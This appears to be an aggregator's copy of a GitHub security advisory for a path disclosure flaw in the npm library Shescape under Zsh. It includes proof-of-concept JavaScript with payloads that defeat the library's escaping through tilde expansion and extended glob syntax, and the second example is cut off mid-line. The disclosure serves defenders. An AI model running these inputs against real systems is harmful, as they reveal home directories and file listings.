mediumVulnerability

GHSA-6v4m-fw66-8r4x

### Impact This impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information. #### Without option / with `MAGIC_EQUAL_SUBST` ```javascript import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // 2. Payload const payload1 = ":~"; // Or const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload1); // Or escapedPayload = shescape.escapeAll([payload1]); // And (example) const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options); // Or escapedPayload = shescape.escape(payload2); // Or escapedPayload = shescape.escapeAll([payload2]); // And (example) const result2 = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log("", result1.toString().trim(), "\n", result2.toString().trim()); // Outputs ":" followed by the user's home directory on one line and "a=" // followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next. ``` #### With `EXTENDED_GLOB` ```javascript import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // And (example) // `setopt EXTENDED_GLOB` in ~/.zshenv // 2. Payload let payload; payload = "pa#ckage.json"; // Or payload = "^package.json~package-lock.json"; // Or payload = "^nonexistent"; // 3. Usage co

Properties

ghsa_id
GHSA-6v4m-fw66-8r4x
severity
medium
summary
Shescape: Path disclosure on Unix with Zsh
cve_id
GHSA-6v4m-fw66-8r4x
is_ghsa_only
true
ghsa_published
2026-07-24T22:33:38Z
source_url
https://github.com/advisories/GHSA-6v4m-fw66-8r4x
ghsa_updated
2026-07-24T22:33:38Z

Related Entities (5)

REPORTED_BY (1)

[Source]GitHub Advisory Database

VULNERABLE_TO (1)

[Software]npm/shescape

AFFECTS (1)

[Software]npm/shescape

HAS_WEAKNESS (2)

[Weakness]Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
[Weakness]Improper Neutralization of Wildcards or Matching Symbols

Explore deeper with Ninja Signal's threat intelligence graph